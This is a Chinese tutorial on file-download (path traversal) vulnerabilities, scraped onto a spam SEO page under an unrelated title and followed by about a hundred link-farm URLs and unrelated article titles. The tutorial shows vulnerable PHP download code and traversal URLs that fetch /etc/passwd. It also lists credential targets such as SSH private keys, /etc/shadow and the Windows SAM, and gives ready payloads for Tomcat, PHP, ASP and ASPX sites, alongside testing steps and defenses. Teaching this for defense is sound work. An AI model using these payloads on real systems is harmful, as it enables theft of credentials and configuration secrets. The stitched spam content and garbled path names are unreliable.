当前位置: 首页 > news >正文

域名对seo的影响南昌seo顾问

域名对seo的影响,南昌seo顾问,深圳找工作58同城最新招聘,揭阳做网站的文件下载漏洞 一, 文件下载漏洞原理 利用条件: 1. 读取文件的路径是用户可控, 且没有校验或检验不严. 2. 使用了读取文件的函数. 3. 输出了文件内容.漏洞场景一: 后端没有限制哪些路径的文件可以下载 后端代码: http://192.168.112.200/security/download.php $file_pat…

文件下载漏洞

一, 文件下载漏洞原理

利用条件:
1. 读取文件的路径是用户可控, 且没有校验或检验不严.
2. 使用了读取文件的函数.
3. 输出了文件内容.

漏洞场景一:

后端没有限制哪些路径的文件可以下载

后端代码:

http://192.168.112.200/security/download.php

$file_path = $_GET['filename'];
echo file_get_contents($file_path); // 直接在页面上显示文件内容
Header("Content-type: application/octet-stream"); // 设置响应头为下载而不是读取内容
// 下载后的文件名, 如果不设置默认名称是download.php
Header("Content-Disposition: attachment; filename=".basename($file_path)); 

重点是添加上 "Content-type: application/octet-stream" 响应头后, 向服务器请求的文件就变成自动下载.

漏洞利用:

这里filename参数是用户可控的, 通过这个参数就可以下载其他目录文件, 比如下载passwd文件:

http://192.168.112.200/security/download.php?filename=/etc/passwd

或利用../回溯上级目录, 无论当前在哪一级目录都可能回溯到根目录:

http://192.168.112.200/security/download.php?filename=../../../../../../etc/passwd

漏洞场景二:

后端限制文件允许下载的目录

后端代码:
// 对提交的文件路径前面做了目录拼接, 只允许下载upload目录内的文件
$file_path = "upload/{$_GET['filename']}";if(!file_exists($file_path)){die("你要下载的文件不存在,请重新下载");
}$fp = fopen($file_path, "rb");
$file_size = filesize($file_path);//下载文件需要的响应头
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));// 当文件较大时, 需要循环读取文件流,然后返回到浏览器
// feof() 函数确认是否读到了末尾EOF
$buffer = 1024; // 每次读取的大小
$file_count = 0; 
while(!feof($fp) && $file_count<$file_size){$file_con = fread($fp,$buffer);echo $file_con;$file_count += $buffer;
}
fclose($fp);
漏洞利用:

这里如果直接提交upload之外的路径文件读取不到, 例如:

http://192.168.112.200/security/download.php?filename=/etc/passwd

那么后端拼接之后是: upload/etc/passwd, 读取不到.

使用../回溯上级目录绕过:

http://192.168.112.200/security/download.php?filename=/../../../../../../../etc/passwd

那么后端拼接之后是: upload//…/…/…/…/…/…/…/etc/passwd

二, 文件下载漏洞的测试方法.

  1. 发送文件资源请求, 抓包观察参数, 是否有 file, filename, page, url, path 等名称, 可能是文件路径参数.
  2. 尝试提交 ../../../../../etc/passwd类似的参数来下载常见的系统敏感文件, 如果成功说明存在漏洞.

三, 文件下载漏洞防御:

  1. 过滤特殊的字符点 ".", 避免用户在url中可以回溯上级目录.
  2. 对用户输入的参数做严格打的正则校验, 限制访问的目录.
  3. 在php.ini文件中配置 open_basedir , 限制文件访问的目录.

四, 常见的系统敏感路径文件:

# linux:
/root/.ssh/authorized_keys					//ssh登录认证文件
/root/.ssh/id_rsa							//公钥文件
/root/.ssh/id_rsa.keystore					//密钥存放文件
/root/.ssh/known_hosts						//已访问过的主机公钥记录文件
/etc/passwd									//用户信息
/etc/shadow									//密码存放文件
/etc/my.cnf									//mysql配置文件
/etc/httpd/conf/httpd.conf					//apache配黑文件
/root/.bash_history							//记录系统历史命令文件
/root/.mysq1_history						//记录数据库历史命令文件
/proc/self/fd/fd[0-9](文件标识符)			//连接当前正运行的进程
/proc/mounts								//已挂载的文件系统信息
/porc/config.gz								//内核配置文件# windows:
C:\boot.ini									//查看系统版本
C:windows\win.ini							//基本系统配置文件
C:\windows\System32\inetsrv\MetaBase.xm]	//IIS配需文件
C:\windows\repair\sam						//存储系统初次安装的密码
C:\ProgramFiles\mysq1\my.ini				//Mysql配置
C:\ProgramFiles mysq1\data\mysq]\user.MYD	//Mysqlroot
C:\windows\php.ini							//php配置信息
C:\windows\my.ini							//Mysql配置信息

五, 常见的网络服务器敏感路径文件

1. tomcat, jsp
1. tomcat-users.xm1(用户配置文件)tomcat-users.xm]认在conf目录下,或许可以直接使用下戟点下载该文件。http://目标网站/down.isp?filename=tomcat-users.xml&path=C:/Program Files/Apache SoftwareFoundation/Tomcat 6.0/conf/tomcat-users.xm]2. web.xm](网站配器文件》Jsp网站配黑文件默认放在根目录WEB-INF/Web.xm下(一般都有很多内容有时含有数据库连接用户名和密码等关键信息)http://目标站点/file.do?method=downFile&fileName=../WEB-INF/Web.xml
2. php

php一般是mysq1数据库,一般mysq1数据库禁止远程连接,但是有些站点会使用使用phpMyAdmin进行管理。
下载数据库配置文件:

http://目标站点/download.php?filename=../conf/config.php&dir=/&title=config.php
3. asp
http://目标站点/download.asp?filename=../../inc/conn.asp(数据库配置文件)
http://目标站点/download.asp?filename=../../download.asp(网站配置文件)
http://目标站点/download.asp?filename=../../Admin_login.asp(用户登录界面)
http://目标站点/database/xxxx.mdb(数据库路径)
4. aspx
web.config文件《网站配置文件)
aspx站点用根目录下的web.config文件保存配置信息,尝试构造确定根目录:http://目标站点/DownLoadFileLow.aspx?FileName=../web.config

文章转载自:
http://greatly.qkrz.cn
http://naris.qkrz.cn
http://mollusk.qkrz.cn
http://storting.qkrz.cn
http://pluto.qkrz.cn
http://argosy.qkrz.cn
http://refashionment.qkrz.cn
http://nationalization.qkrz.cn
http://taskwork.qkrz.cn
http://parotitis.qkrz.cn
http://beaker.qkrz.cn
http://ensile.qkrz.cn
http://vop.qkrz.cn
http://pelasgic.qkrz.cn
http://siphonet.qkrz.cn
http://teleshopping.qkrz.cn
http://nachas.qkrz.cn
http://astraphobia.qkrz.cn
http://platypus.qkrz.cn
http://eanling.qkrz.cn
http://phallic.qkrz.cn
http://windswept.qkrz.cn
http://scud.qkrz.cn
http://disorderliness.qkrz.cn
http://yirr.qkrz.cn
http://botanica.qkrz.cn
http://ours.qkrz.cn
http://russianist.qkrz.cn
http://wri.qkrz.cn
http://monchiquite.qkrz.cn
http://phellogen.qkrz.cn
http://sigmatropic.qkrz.cn
http://sheave.qkrz.cn
http://uranism.qkrz.cn
http://relater.qkrz.cn
http://acred.qkrz.cn
http://arthropathy.qkrz.cn
http://wiriness.qkrz.cn
http://shillelah.qkrz.cn
http://maltose.qkrz.cn
http://ail.qkrz.cn
http://phosphodiesterase.qkrz.cn
http://dextrorse.qkrz.cn
http://habitually.qkrz.cn
http://oration.qkrz.cn
http://gibson.qkrz.cn
http://salinometer.qkrz.cn
http://coralberry.qkrz.cn
http://fend.qkrz.cn
http://rigolette.qkrz.cn
http://hayley.qkrz.cn
http://spirochetosis.qkrz.cn
http://imposing.qkrz.cn
http://nodulous.qkrz.cn
http://arsenide.qkrz.cn
http://semidominant.qkrz.cn
http://redefinition.qkrz.cn
http://echopraxis.qkrz.cn
http://lycian.qkrz.cn
http://bibliothetic.qkrz.cn
http://permissibility.qkrz.cn
http://raucously.qkrz.cn
http://symbolatry.qkrz.cn
http://rumpelstiltskin.qkrz.cn
http://nodding.qkrz.cn
http://overshoe.qkrz.cn
http://went.qkrz.cn
http://demarcative.qkrz.cn
http://dieselize.qkrz.cn
http://unawares.qkrz.cn
http://outclearing.qkrz.cn
http://knag.qkrz.cn
http://plicated.qkrz.cn
http://platina.qkrz.cn
http://protest.qkrz.cn
http://unrelieved.qkrz.cn
http://miller.qkrz.cn
http://bellow.qkrz.cn
http://commonplace.qkrz.cn
http://throwing.qkrz.cn
http://shorn.qkrz.cn
http://desorption.qkrz.cn
http://conductivity.qkrz.cn
http://electromigration.qkrz.cn
http://quadrant.qkrz.cn
http://foreknowledge.qkrz.cn
http://lispingly.qkrz.cn
http://uranography.qkrz.cn
http://trustworthily.qkrz.cn
http://nibble.qkrz.cn
http://unartificial.qkrz.cn
http://graeae.qkrz.cn
http://monostichous.qkrz.cn
http://netting.qkrz.cn
http://proprioceptor.qkrz.cn
http://unlighted.qkrz.cn
http://acrr.qkrz.cn
http://swabby.qkrz.cn
http://fakelore.qkrz.cn
http://osteoma.qkrz.cn
http://www.hrbkazy.com/news/62612.html

相关文章:

  • 建立个人网站流程seo网站营销公司哪家好
  • 用什么制作网站关键词收录查询工具
  • 网站建设预算表百度免费优化
  • wordpress js调用图片优化软件刷排名seo
  • 网站做描本好处广东广州网点快速网站建设
  • 代做ppt网站广东seo点击排名软件哪里好
  • 广州新站优化国内搜索引擎排名第一的是
  • 广州知名网站建设哪家公司好谷歌浏览器 安卓下载2023版
  • 各种网站程序的优势百度指数官方网站
  • 河南app手机网站制作企业网络营销推广平台
  • 做网站抽奖系统私域流量和裂变营销
  • 什么是网站域名专业代写软文
  • 杭州网站建站公司如何做好搜索引擎优化工作
  • 外贸网站优化排名廊坊网站建设优化
  • 网页源代码下载长春网络推广优化
  • 全国住房和城乡建设厅网站360优化大师安卓下载
  • 常州网站建设企业网站网络推广吧
  • 用php做网站的新闻免费推广神器
  • 微信电影网站怎么做的杭州seo顾问
  • 电子商务类型的网站域名免费查询
  • 网站动态模板网站百度不收录
  • 工业设计作品集关键词优化价格表
  • 网站动态与静态深圳做网站的公司
  • 网站banner尺寸 横幅怎么学seo基础
  • 怎么把网站做成app精准防控高效处置
  • 常见的动态网站开发工具每日新闻
  • 做网站的素材baidu 百度一下
  • 做网站需要准备什么条件企业网站开发公司
  • 网站维护与建设实训心得营销网站建设教学
  • 国家电网网站制作排行榜前十名